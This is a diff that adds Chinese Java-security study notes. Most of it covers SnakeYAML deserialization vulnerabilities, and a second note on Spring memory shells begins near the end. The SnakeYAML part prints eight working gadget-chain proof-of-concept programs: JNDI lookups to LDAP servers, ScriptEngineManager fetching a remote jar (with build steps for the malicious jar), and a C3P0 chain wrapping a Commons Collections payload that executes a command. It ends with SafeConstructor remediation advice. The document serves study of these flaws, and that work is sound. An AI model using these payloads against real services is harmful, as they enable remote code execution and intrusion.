tuple.getKeyNode()); + } + + // 处理值节点并构造键对象 + Node valueNode = tuple.getValueNode(); + keyNode.setType(String.class); // 强制键为String类型 + String key = (String) constructObject(keyNode); + + try { + // 获取类型定义和对应的属性元数据 + TypeDescription memberDescription = typeDefinitions.get(beanType); + Property property = memberDescription == null + ? getProperty(beanType, key) // 默认属性查找 + : memberDescription.getProperty(key); // 使用类型定义中的属性 + + // 校验属性可写性 + if (!property.isWritable()) { + throw new YAMLException("No writable property '" + key + "' on class: " + beanType.getName()); + } + + // 设置值节点的预期类型 + valueNode.setType(property.getType()); + // 检测并处理泛型类型信息 + final boolean typeDetected = (memberDescription != null) + ? memberDescription.setupPropertyType(key, valueNode) + : false; + + // 如果没有显式类型定义且是非标量节点,处理集合类型泛型 + if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) { + Class[] arguments = property.getActualTypeArguments(); + if (arguments != null && arguments.length > 0) { + // 根据集合类型设置泛型参数 + if (valueNode.getNodeId() == NodeId.sequence) { + // 处理List类型泛型 + Class t = arguments[0]; + SequenceNode snode = (SequenceNode) valueNode; + snode.setListType(t); + } else if (Set.class.isAssignableFrom(valueNode.getType())) { + // 处理Set类型泛型 + Class t = arguments[0]; + MappingNode mnode = (MappingNode) valueNode; + mnode.setOnlyKeyType(t); + mnode.setUseClassConstructor(true); + } else if (Map.class.isAssignableFrom(valueNode.getType())) { + // 处理Map类型泛型 + Class keyType = arguments[0]; + Class valueType = arguments[1]; + MappingNode mnode = (MappingNode) valueNode; + mnode.setTypes(keyType, valueType); + mnode.setUseClassConstructor(true); + } + } + } + + // 构造值对象(优先使用类型定义中的构造方式) + Object value = (memberDescription != null) + ? newInstance(memberDescription, key, valueNode) + : constructObject(valueNode); + + // 类型转换处理 + // Double -> Float 类型适配 + if (property.getType() == Float.TYPE || property.getType() == Float.class) { + if (value instanceof Double) { + value = ((Double) value).floatValue(); + } + } + // byte[] -> String 类型适配(处理二进制标签) + if (property.getType() == String.class + && Tag.BINARY.equals(valueNode.getTag()) + && value instanceof byte[]) { + value = new String((byte[]) value); + } + + // 设置属性值(优先使用类型定义的设置方式) + if (memberDescription == null || !memberDescription.setProperty(object, key, value)) { + property.set(object, value); + } + } catch (DuplicateKeyException e) { + throw e; + } catch (Exception e) { + // 封装构造异常信息 + throw new ConstructorException( + "Cannot create property=" + key + " for JavaBean=" + object, + node.getStartMark(), e.getMessage(), valueNode.getStartMark(), e); + } + } + return object; +} +``` + +这里设置属性值是调用了 property.set(object, value),property 在前面赋值的语句为: + +``` +Property property = memberDescription == null ? getProperty(beanType, key) + : memberDescription.getProperty(key); +``` + +这里我们跟进 Constructor#getProperty(Class, String),可以发现这里面实际调用了 PropertyUtils 的 getProperty(Class, String) 方法: + +![](https://changeyourway.github.io/images/image-20250505103004-zrbasc3.png) + +而这个方法其实最后也会调用到 PropertyUtils#getPropertiesMap(Class, BeanAccess),我们在序列化的时候分析过(**它会将 public 属性设置为 FieldProperty ,非 public 但有 getter 或 setter 方法的属性设置为 MethodProperty**)。 + +那么后续调用 property.set(object, value) ,对于 FieldProperty 来说,调用 `FieldProperty#set(Object, Object)` 方法,通过 `java.lang.reflect.Field#set` 进行反射赋值: + +![](https://changeyourway.github.io/images/image-20250422234843-skf6aoh.png) + +而对于 MethodProperty ,调用 `MethodProperty#set(Object, Object)` 方法,通过 `java.beans.PropertyDescriptor#getWriteMethod()` 来获取 setter 方法并执行: + +![](https://changeyourway.github.io/images/image-20250422232413-36r7xp7.png) + +至此,分析完毕。 + +#### 调用链总结 + +我们总结一下前面的调用链: + +``` +Yaml#load(String) # 将 Yaml 数据反序列化为 Java 对象 +Yaml#loadFromReader(StreamReader, Class) +BaseConstructor#getSingleData(Class) + -> Composer#getSingleNode() # 分支1:构建节点树 + Composer#getNode() + Composer#composeNode(Node) # 构建节点树 + -> BaseConstructor#constructDocument(Node) # 分支2:将节点树转换为 Java 对象 + BaseConstructor#constructObject(Node) + BaseConstructor#constructObjectNoCheck(Node) + -> BaseConstructor#getConstructor(Node) # 获取构造器 ConstructYamlObject + -> Constructor$ConstructYamlObject#construct(Node) + -> Constructor$ConstructYamlObject#getConstructor(Node) + Constructor#getClassForNode(Node) + Constructor#getClassForName(String) # 类加载 + -> Constructor$ConstructMapping#construct(Node) + -> BaseConstructor#newInstance(Node) + BaseConstructor#newInstance(Class, Node) + BaseConstructor#newInstance(Class, Node, boolean) # 调用无参构造方法 + -> Constructor$ConstructMapping#constructJavaBean2ndStep(MappingNode, Object) # 属性赋值 + -> Constructor#getProperty(Class, String) + PropertyUtils#getProperty(Class, String) + PropertyUtils#getProperty(Class, String, BeanAccess) + PropertyUtils#getPropertiesMap(Class, BeanAccess) + # public 属性设置为 FieldProperty + # 非 public 但有 getter 或 setter 方法的属性设置为 MethodProperty + -> Property#set(Object, Object) + # public 属性调用 FieldProperty#set(Object, Object) 反射赋值 + # 非 public 属性调用 MethodProperty#set(Object, Object) 通过 setter 方法赋值 +``` + +可以看到 snakeyaml 反序列化的关键触发点就是**无参构造方法**和**非公有属性的 setter 方法**,另外前面在**类加载**的时候还会触发静态代码块(这个倒是没见过有什么用法)。但其实也可以调用**有参构造**,这个在后面会讲到。其实还会调用 **hashCode()** ,后面也会讲到。 + +‍ + +## 四、漏洞利用与分析 + +理解原理以后,再看它的利用方式,很快就能理解了。 + +### 0x1:JdbcRowSetImpl + +这个类之前在学习 FastJson 的时候也遇到过,是由于它的 setter 方法(setAutoCommit)会调用 lookup 造成 JNDI 注入,下面是测试代码: + +``` +package org.example; + +import org.yaml.snakeyaml.Yaml; + +public class PocTest1 { + public static void main(String[] args) { + String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/kjMXKPAB, autoCommit: true}"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +JdbcRowSetImpl#setAutoCommit(boolean) +JdbcRowSetImpl#connect() +InitialContext#lookup(String) +``` + +### 0x2:ScriptEngineManager + +yaml 反序列化时可以通过 !! + 全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造 ScriptEngineManager payload 并利用 SPI 机制通过 URLClassLoader 或者其他 payload 如 JNDI 方式远程加载实例化恶意类从而实现任意代码执行。 + +#### 1、SnakeYaml 调用有参构造 + +该 gadget 的触发点在于 ScriptEngineManager 的有参构造方法 ScriptEngineManager(ClassLoader),而我们前面讲的是调用无参构造方法,这里不得不引出 SnakeYaml 的另一个机制了:我们可以通过调整序列化数据,用数组的形式(就是中括号)指定要调用的构造方法的参数类型,比如有以下数据: + +``` +!!org.yaml.snakeyaml.immutable.Point [1.17, 3.14] +``` + +这样表示指定调用 org.yaml.snakeyaml.immutable.Point 的两参构造方法 Point(double latitude, double longitude) ,并且指定两个参数分别为 1.17 和 3.14 。 + +本题的 poc 格式如下: + +``` +!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8085/kjMXKPAB.jar\"]]]] +``` + +就表示调用 ScriptEngineManager 的有参构造方法,且参数为 URLClassLoader 。然后实例化这个 URLClassLoader 的时候也是调用有参构造,指定参数为 URL 类型。然后实例化这个 URL 的时候也是调用有参构造,参数是我们设定的 String 。 + +在前面的调用链总结中,我们是跟进 `Constructor$ConstructMapping#construct(Node)` 去调用的无参构造,而反序列化的数据是这种数组的形式时,则会调用 `Constructor$ConstructSequence#construct(Node)` 来调用对应参数的有参构造: + +![](https://changeyourway.github.io/images/image-20250506000727-me5vd0g.png) + +ConstructSequence 内部类用来处理序列格式(如数组)相关的构造。 + +#### 2、**什么是 SPI 机制** + +SPI (Service Provider Interface),JDK 内置的一种服务提供发现机制。它的利用方式是通过在 ClassPath 路径下的 META-INF/services 文件夹下查找文件,自动加载文件中所定义的类。 + +例如以 mysql-connector 包为例: + +![](https://changeyourway.github.io/images/image-20250505232624-hgbi6yy.png) + +Dirver 类中的内容是: + +![](https://changeyourway.github.io/images/image-20250505232631-ja63k89.png) + +这个 Driver 类实现了 java.sql.Driver 接口,这段代码主要是将当前类的实例注册为 MySQL 数据库的驱动程序,实现了一个 MySQL 数据库的 Java 驱动程序。 + +这个方法会在 JVM 启动时执行,从而确保了该驱动程序在应用程序启动时已经被注册。当应用程序需要连接 MySQL 数据库时,可以通过 DriverManager 类的 getConnection()方法获取 com.mysql.cj.jdbc.Driver 类的实例,进而建立 MySQL 数据库连接。 + +ScriptEngineManager gadget 就是用到 SPI 机制,会通过远程地址寻找 META-INF/services 目录下的 javax.script.ScriptEngineFactory 然后去加载文件中指定的 PoC 类从而触发远程代码执行。 + +#### 3、漏洞复现 + +poc: + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC2 { + public static void main(String[] args) { + String poc = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" + + " ]]\n" + + "]"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +利用 ScriptEngineManager ,我们去远程地址获取一个 jar 文件,jar 文件的 META-INF/services 目录下写好了要被加载的恶意类。为了生成这个 jar 文件,我们可以创建这样一个项目。 + +第一步,在 META-INF/services/javax.script.ScriptEngineFactory 文件中定义要被加载的类名: + +![](https://changeyourway.github.io/images/image-20250515100928-ujwd03o.png) + +第二步,创建对应类 TestPoc 并实现 ScriptEngineFactory 接口,构造方法里命令执行: + +![](https://changeyourway.github.io/images/image-20250514174435-8vlt6vm.png) + +第三步,编译目标类: + +``` +javac src/main/java/miaoji/TestPoc.java +``` + +![](https://changeyourway.github.io/images/image-20250515101009-02478xz.png) + +第四步,将该项目打成 jar 包: + +``` +jar -cvf yaml-payload.jar -C src/main/java/ . +``` + +![](https://changeyourway.github.io/images/image-20250515100347-qgpwp04.png) + +对应目录下开一个 http 服务器,就可以开始测试了: + +![](https://changeyourway.github.io/images/image-20250515101059-y4qj11a.png) ![](https://changeyourway.github.io/images/image-20250515101114-fx19u3o.png) + +#### 4、原理分析 + +实际就是 SPI 机制的原理: + +``` +ScriptEngineManager#ScriptEngineManager(ClassLoader) +ScriptEngineManager#init(final ClassLoader) +ScriptEngineManager#initEngines(final ClassLoader) + -> ScriptEngineManager#getServiceLoader(final ClassLoader) + ServiceLoader#load(Class, ClassLoader) # 获取远程 jar 包 + -> ServiceLoader#iterator()#next() # 嵌套方法的调用 + ServiceLoader$LazyIterator#next() + ServiceLoader$LazyIterator#nextService() # 类加载,根据 SPI 机制 +``` + +![](https://changeyourway.github.io/images/image-20250515225137-3pujps8.png) + +### 0x3:Spring PropertyPathFactoryBean + +这个链子触发点在 setter 方法 setBeanFactory ,需要有 Spring 依赖。 + +依赖: + +``` + + org.springframework + spring-context + 5.3.30 + +``` + +poc: + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC3 { + public static void main(String[] args){ + String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + + " targetBeanName: \"ldap://127.0.0.1:8085/AColGQWe\"\n" + + " propertyPath: test\n" + + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + + " shareableResources: [\"ldap://127.0.0.1:8085/AColGQWe\"]"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +PropertyPathFactoryBean#setBeanFactory(BeanFactory) +SimpleJndiBeanFactory#getBean(String) +SimpleJndiBeanFactory#getBean(String, Class) +SimpleJndiBeanFactory#doGetSingleton(String, Class) +JndiLocatorSupport#lookup(String, Class) +JndiTemplate#lookup(String, Class) +JndiTemplate#lookup(final String) +JndiTemplate#execute(JndiCallback) +JndiTemplate$1#doInContext(Context) +InitialContext#lookup(String) # JNDI 注入 +``` + +### 0x4:C3P0 WrapperConnectionPoolDataSource + +这条链子的触发点是构造方法 WrapperConnectionPoolDataSource() 。 + +思路类似于 Fastjson 通过 C3P0 二次反序列化,需要用到 C3P0.WrapperConnectionPoolDataSource 通过 Hex 序列化字节加载器,给 userOverridesAsString 赋值恶意序列化内容(本地 Gadget)的 Hex 编码值达成利用。 + +依赖: + +``` + + com.mchange + c3p0 + 0.9.5.2 + +``` + +poc(由于是二次反序列化,所以还要搭配其他的反序列化利用链,poc 中给的是 CC6 链): + +``` +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.yaml.snakeyaml.Yaml; + +import java.beans.PropertyVetoException; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.StringWriter; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class POC4 { + + + public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { + + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Class.forName("java.lang.Runtime")), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + HashMap hashMap1 = new HashMap<>(); + LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1)); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Atkx"); + HashMap hashMap2 = new HashMap<>(); + hashMap2.put(tiedMapEntry, "bbb"); + lazyMap.remove("Atkx"); + + + Class clazz = LazyMap.class; + Field factoryField = clazz.getDeclaredField("factory"); + factoryField.setAccessible(true); + factoryField.set(lazyMap, chainedTransformer); + + return hashMap2; + } + + + static void addHexAscii(byte b, StringWriter sw) { + int ub = b & 0xff; + int h1 = ub / 16; + int h2 = ub % 16; + sw.write(toHexDigit(h1)); + sw.write(toHexDigit(h2)); + } + + private static char toHexDigit(int h) { + char out; + if (h <= 9) out = (char) (h + 0x30); + else out = (char) (h + 0x37); + // System.err.println(h + ": " + out); + return out; + } + + // 将类序列化为字节数组 + public static byte[] tobyteArray(Object o) throws IOException { + ByteArrayOutputStream bao = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bao); + oos.writeObject(o); + return bao.toByteArray(); + } + + // 字节数组转十六进制 + public static String toHexAscii(byte[] bytes) { + int len = bytes.length; + StringWriter sw = new StringWriter(len * 2); + for (int i = 0; i < len; ++i) + addHexAscii(bytes[i], sw); + return sw.toString(); + } + + public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { + String hex = toHexAscii(tobyteArray(exp())); + String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + " userOverridesAsString: \"HexAsciiSerializedMap:"+ hex + ";\""; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource() +WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean) +C3P0ImplUtils#parseUserOverridesAsString(String) + -> ByteUtils#fromHexAscii(String var0) # 十六进制数据解码为字节数组 + -> SerializableUtils#fromByteArray(byte[]) + SerializableUtils#deserializeFromByteArray(byte[]) # 反序列化字节数组 +``` + +![](https://changeyourway.github.io/images/image-20250515224929-9dgbc37.png) + +### 0x5:C3P0 JndiRefForwardingDataSource + +这条链子的触发点在 setter 方法 setLoginTimeout ,用到 c3p0 依赖中的另一个类 JndiRefForwardingDataSource 。 + +poc: + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC5 { + public static void main(String[] args) { + String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + + " jndiName: \"ldap://127.0.0.1:8085/NQszrbCS\"\n" + + " loginTimeout: 0"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +JndiRefForwardingDataSource#setLoginTimeout(int) +JndiRefForwardingDataSource#inner() +JndiRefForwardingDataSource#dereference() +InitialContext#lookup(String) # JNDI 注入 +``` + +### 0x6:Apache XBean + +这条链的触发点在构造方法 BadAttributeValueExpException(Object) 。 + +前面我们说 BadAttributeValueExpException 利用链的时候,是从 readObject 方法入手去调用 toString ,并特意提到要避开其构造方法,因为构造方法会提前调用 toString ,在这里却用上了: + +![](https://changeyourway.github.io/images/image-20250516103810-7xsjkuc.png) + +链子的后半段利用 ContextUtil$ReadOnlyBinding#getObject() 触发远程类加载,在讲 Hessian 利用链的时候已经提过。 + +需要 xbean 依赖: + +``` + + org.apache.xbean + xbean-naming + 4.26 + +``` + +poc(Reference 的第二个参数为恶意 class 文件名): + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC6 { + public static void main(String[] args) throws Error ,Exception{ + String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"NQszrbCS\", \"http://127.0.0.1:8085/\"],!!org.apache.xbean.naming.context.WritableContext []]]"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +BadAttributeValueExpException#BadAttributeValueExpException(Object) +Binding#toString() +ContextUtil$ReadOnlyBinding#getObject() +ContextUtil#resolve(Object, String, Name, Context) +NamingManager#getObjectInstance(Object, Name, Context, Hashtable) +NamingManager#getObjectFactoryFromReference(Reference, String) +VersionHelper12#loadClass(String, String) +VersionHelper12#loadClass(String, ClassLoader) +Class#forName(String, boolean, ClassLoader) +``` + +Class.forName 的第二个参数设置为 true ,会经过初始化阶段,执行静态代码块: + +![](https://changeyourway.github.io/images/image-20250516110646-oonvonf.png) + +既然这里能够调用 toString() 方法,那么后面拼接一些其他的链子诸如 Rome 、Resin ,想必也是可行。 + +### 0x7:Apache Commons Configuration + +这条链子很有意思,它是以 hashCode() 为触发点。我前面并没有介绍为什么会触发 hashCode() ,看来有漏网之鱼。 + +#### 1、漏洞复现 + +依赖: + +``` + + commons-configuration + commons-configuration + 1.10 + +``` + +poc: + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC7 { + public static void main(String[] args) { + String poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:8085/NQszrbCS\"]]: 1"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +#### 2、漏洞原理 + +以 ConfigurationMap 的父类 AbstractMap 的 hashcode 方法为触发点,通过迭代器 Iterator 调用了 getKeys() ,JNDIConfiguration 的 getKeys() 又恰好能造成 JNDI 注入: + +``` +AbstractMap#hashCode() +ConfigurationMap$ConfigurationSet#Iterator> +ConfigurationMap$ConfigurationSet$ConfigurationSetIterator#ConfigurationSetIterator() +JNDIConfiguration#getKeys() +JNDIConfiguration#getKeys(String) +JNDIConfiguration#getBaseContext() +InitialContext#lookup(String) # JNDI 注入 +``` + +#### 3、SnakeYaml 调用 hashCode() + +下面我们来看一下 SnakeYaml 如何调用 hashCode() ,补全前面的反序列化逻辑。 + +![](https://changeyourway.github.io/images/image-20250517205301-4hblmq3.png) + +在原来的总结之上,通过调用堆栈,我们很容易就判断出了这一分支是在 BaseConstructor#getConstructor(Node) 获取构造器的时候出现的,依照原路径,此处应该返回 `Constructor$ConstructYamlObject` ,而根据调用栈来看,实际返回 `SafeConstructor$ConstructYamlMap` 。 + +我们重新来关注一下 BaseConstructor#getConstructor(Node) 这个方法: + +![](https://changeyourway.github.io/images/image-20250517211813-1ymjj00.png) + +这一次根据 Tag 来获取构造方法的结果不再是 null ,而是一个 `SafeConstructor$ConstructYamlMap` 对象: + +![](https://changeyourway.github.io/images/image-20250517212133-rpau4fo.png) + +我们势必要跟进 yamlConstructors.get(node.getTag()) 来看一眼了,跟进来发现直接来到了 HashMap#get(Object): + +![](https://changeyourway.github.io/images/image-20250517212412-59r5ckv.png) + +我倒是忘了它本来就是个 Map 集合,找赋值的地方才是关键。赋值的地方就在这 SafeConstructor 的构造方法之中: + +![](https://changeyourway.github.io/images/image-20250517213053-9akl6d7.png) + +SafeConstructor 则是早在 Yaml 初始化的的时候就初始化了: + +![](https://changeyourway.github.io/images/image-20250517213133-xszqhx0.png) + +这样的话就很容易明白了,由于我们反序列化的类是一个 Map 集合 ConfigurationMap ,被打上了 Tag.MAP 的标签,故而这里获取到的是 SafeConstructor 的内部类 ConstructYamlMap 作为构造器: + +![](https://changeyourway.github.io/images/image-20250517214107-0hn2h2u.png) + +并且可以由此推之,其余各类型的子类比如 Sequence、Set 等在构造时都会将 SafeConstructor 中的其他内部类作为构造器,这其中又会触发哪些方法呢?可以期待一下,未来也许会有新发现。 + +接着往下看,开始构造,来跟进 SafeConstructor$ConstructYamlMap#construct(Node) : + +![](https://changeyourway.github.io/images/image-20250517215109-7lm90l4.png) + +跟进 BaseConstructor#constructMapping(MappingNode) : + +![](https://changeyourway.github.io/images/image-20250517215155-0nw51fm.png) + +继续跟进 SafeConstructor#constructMapping2ndStep(MappingNode, Map): + +![](https://changeyourway.github.io/images/image-20250517215213-fq99ecu.png) + +继续跟进 SafeConstructor#flattenMapping(MappingNode node): + +![](https://changeyourway.github.io/images/image-20250517215409-k4s5m3r.png) + +继续跟进 SafeConstructor#processDuplicateKeys(MappingNode) ,在这里调用了 key.hashCode() : + +![](https://changeyourway.github.io/images/image-20250517215532-mh96emp.png) + +其实根据方法名就能知道:处理重复的 key ,创建 Map 对象的时候总要遇到这个问题,为了判断 key 值是否重复,总是会调用 key.hashCode() 获取 hash 值来判断。 + +那么总结一下调用链,承接上文,SnakeYaml 是如何调用 hashCode(): + +``` +BaseConstructor#constructObjectNoCheck(Node) + -> BaseConstructor#getConstructor(Node) # 获取构造器 SafeConstructor$ConstructYamlMap + -> SafeConstructor$ConstructYamlMap#construct(Node) + BaseConstructor#constructMapping(MappingNode) + SafeConstructor#constructMapping2ndStep(MappingNode, Map) + SafeConstructor#flattenMapping(MappingNode node) + SafeConstructor#processDuplicateKeys(MappingNode) # 调用 key.hashCode() +``` + +### 0x8:Jetty Resource + +这条链子的触发点在有参构造 Resource(String, Object) ,后续是 Jetty 自带的 JNDI 功能。 + +需要 Jetty 依赖: + +``` + + + 9.4.50.v20221201 + + + + + + org.eclipse.jetty + jetty-plus + ${jetty.version} + + + + org.eclipse.jetty + jetty-jndi + ${jetty.version} + + + + org.eclipse.jetty + jetty-server + ${jetty.version} + + +``` + +poc(Reference 的第二个参数为恶意 class 文件名): + +``` +import org.yaml.snakeyaml.Yaml; + +public class POC8 { + public static void main(String[] args) { + String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"uopUboUX\", \"http://127.0.0.1:8085/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]"; + Yaml yaml = new Yaml(); + yaml.load(poc); + } +} +``` + +原理: + +``` +Resource#Resource(String, Object) +NamingEntry#save(Object) +NamingUtil#bind(Context, String, Object) +NamingContext#lookup(String) +NamingContext#lookup(Name) +NamingManager#getObjectInstance(Object, Name, Context, Hashtable) +NamingManager#getObjectFactoryFromReference(Reference, String) +VersionHelper12#loadClass(String, String) +VersionHelper12#loadClass(String, ClassLoader) +Class#forName(String, boolean, ClassLoader) # 第二个参数设置为 true ,会经过初始化阶段,执行静态代码块 +``` + +‍ + +## 五、漏洞修复 + +- 禁止 yaml.load 方法中的参数可控 +- 使用 Yaml yaml = new Yaml(new SafeConstructor()); + +下面我来说一下为什么使用 new Yaml(new SafeConstructor()) 可以防止一些问题 + +在前面讲 SnakeYaml 调用 hashCode() 的时候,我们已经见过 SafeConstructor 的构造方法,它会将 yamlConstructors 中 null 键对应的值设置为 undefinedConstructor : + +![](https://changeyourway.github.io/images/image-20250517231034-e2u52vi.png) + +这个 undefinedConstructor 的构造方法实际就是直接抛出异常: + +![](https://changeyourway.github.io/images/image-20250517231202-v81f470.png) ![](https://changeyourway.github.io/images/image-20250517231105-566myxz.png) + +前面其实已经发现 SafeConstructor 的构造方法在 new Yaml() 这种普通模式下就会被调用,只不过这种模式下 yamlConstructors 中 null 键对应的值又被 Constructor 类给覆盖了一次,覆盖成了 Constructor$ConstructYamlObject: + +![](https://changeyourway.github.io/images/image-20250517231403-mm095x0.png) + +所以我们前面取 null 值的时候才能继续往下构造。 + +然而当我们使用 new Yaml(new SafeConstructor()) 的时候,不会再经过 Constructor 的构造方法,而是直接进入 SafeConstructor ,这样 null 就没有机会被覆盖了。那么如果 node 节点树没有对应的 Tag ,就不会被构造。 + +对比一下,使用 new Yaml() : + +![](https://changeyourway.github.io/images/image-20250517232006-kh6vctr.png) + +使用 new Yaml(new SafeConstructor()) : + +![](https://changeyourway.github.io/images/image-20250517232037-xuroidy.png) + +那想要绕过的话,我们利用链中的类一定要在那几个 Tag 类型之下,这时候应该能联想到 ConfigurationMap 那条链子,他是属于 Tag.MAP 类型,能够顺利地进入 SafeConstructor$ConstructYamlMap 的构造方法。但是也不行,为什么呢,因为它会对每个 key 都构造一次,递归式的,这样 key 过不了关,也没法触发 hashcode: + +![](https://changeyourway.github.io/images/image-20250517233136-0fecfe2.png) + +当然这只是一种思路。 + +‍ + +## 六、结语 + +许多攻防技巧到最后都演变成了对黑白名单的绕过,比如这里就相当于是给出了一种白名单。 + +一个项目总是有着庞大的代码量,从入口点开始剖析,它就越来越像一棵树,有着无数分支,我们分析的这些链子也不过是其中的某一个。我在分析的时候想当然地以为就从无参构造方法和非公有属性的 setter 方法入手即可,这就使我漏掉了有参构造和 hashcode 。 + +进一步而言,我们可能漏掉了更多,以至于给了我一种莫名其妙的自信:只要反序列化接口存在,我们就一定能找到一条合适的利用链。 + +再进一步而言,普通的反序列化也不过是调用 readObject ,那在调用这个方法之前呢?之后呢?这条路径上所调用的任意的方法都可能成为利用点,只因为它对我们输入的数据做了处理。snakeyaml 同样也不会拘泥于构造方法和 setter 方法。 + +不过要想穷尽每一个分支,这需要庞大的算力,有没有一种在下围棋的感觉? + +‍ + +## 七、参考文章 + +``` +https://www.cnblogs.com/LittleHann/p/17828948.html#_label3 +https://cmisl.github.io/2024/07/14/SnakeYaml%20%E9%93%BE/#%E5%BA%8F%E5%88%97%E5%8C%96 +https://tttang.com/archive/1591/ +https://tttang.com/archive/1815/#toc_resource +https://www.cnblogs.com/F12-blog/p/18151239 +``` + +‍ diff --git a/books/漏洞篇 - Spring 内存马.md b/books/漏洞篇 - Spring 内存马.md new file mode 100644 index 0000000..82fef24 --- /dev/null +++ b/books/漏洞篇 - Spring 内存马.md @@ -0,0 +1,598 @@ +# 漏洞篇 - Spring 内存马 +> 2024-10-21 +> 来源:https://changeyourway.github.io/2024/10/21/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Spring%E5%86%85%E5%AD%98%E9%A9%AC/ + +## Spring 概念总结 + +本节的前置知识是 Spring、SpringBoot、SpringMVC 。这里总结一下基本问题: + +### **Spring Framework** + +Spring 是一个全功能的 Java 应用开发框架,提供核心容器功能、AOP、数据访问等模块。 + +- **IoC(控制反转)容器**:对 Java 对象的控制权由用户转移到 Spring IOC 容器,通过依赖注入(DI)管理对象的创建和依赖关系。 +- **AOP(面向切面编程)**:通过定义通知无侵入式的对切入点方法进行功能增强。 +- **事务管理**:提供声明式和编程式事务管理,支持数据库事务和其他资源的管理。 +- **DAO 支持**:整合 JDBC、Hibernate、JPA 等数据访问框架。 +- **Context**:ApplicationContext 作为核心容器,管理 Bean 的生命周期和依赖注入。 + +#### Spring 常用注解 + +- **@Component**:通用的组件注解,表明一个类会被 Spring IoC 容器管理。 +- **@Service**:标注服务层的组件,具有 `@Component` 的功能,但语义更清晰,通常用于业务逻辑层。 +- **@Repository**:用于标注数据访问层的组件,具备 `@Component` 的功能,并且附带数据库操作相关的功能(如异常转换)。 +- **@Controller**:用于标注控制层的组件,通常与 Spring MVC 一起使用。 +- **@Autowired**:自动装配 Bean,可以通过构造方法、字段、setter 方法进行注入。 +- **@Qualifier**:与 `@Autowired` 结合使用,指定注入的具体实现类。 +- **@Primary**:当有多个候选 Bean 时,优先选择标注了该注解的 Bean 进行注入。 +- **@Scope**:定义 Bean 的作用域,常见的有 `singleton`(默认)和 `prototype`。 +- **@PostConstruct** 和 **@PreDestroy**:用于标注 Bean 初始化和销毁时的操作。 + +### **SpringMVC** + +SpringMVC 是 Spring 框架的一个子项目,专注于构建基于 Web 的应用。 + +- **Controller**:处理 HTTP 请求的核心组件。`@Controller` 注解用于定义控制器类,方法通过 `@RequestMapping` 或 `@GetMapping`、`@PostMapping` 等映射 URL。 +- **Model**:传递到视图层的数据对象。通常在控制器方法中使用 `Model` 或 `ModelAndView` 来包装数据。 +- **View Resolver(视图解析器)**:解析控制器返回的逻辑视图名称,将其映射到具体的视图(如 JSP、Thymeleaf)。 +- **Interceptor(拦截器)**:类似于过滤器,但更灵活,可以在请求到达控制器之前或之后进行拦截处理,如验证、日志记录等。通过实现 `HandlerInterceptor` 接口并配置到 SpringMVC 的配置文件中。 +- **Data Binding & Validation**:支持将 HTTP 请求参数绑定到 Java 对象中,并且支持 JSR-303/JSR-380 注解进行数据校验(如 `@Valid`、`@NotNull` 等)。 + +#### SpringMVC 常用注解 + +- **@Controller**:标识控制器,Spring MVC 会自动扫描带有该注解的类,将其作为请求处理器。 +- **@RequestMapping**:用于映射 URL 到指定的控制器方法或类,支持 GET、POST 等 HTTP 请求。 + - **@GetMapping**、\*\*@PostMapping**、**@PutMapping**、**@DeleteMapping\*\*:分别对应 HTTP 的四种常用请求方式,简化了 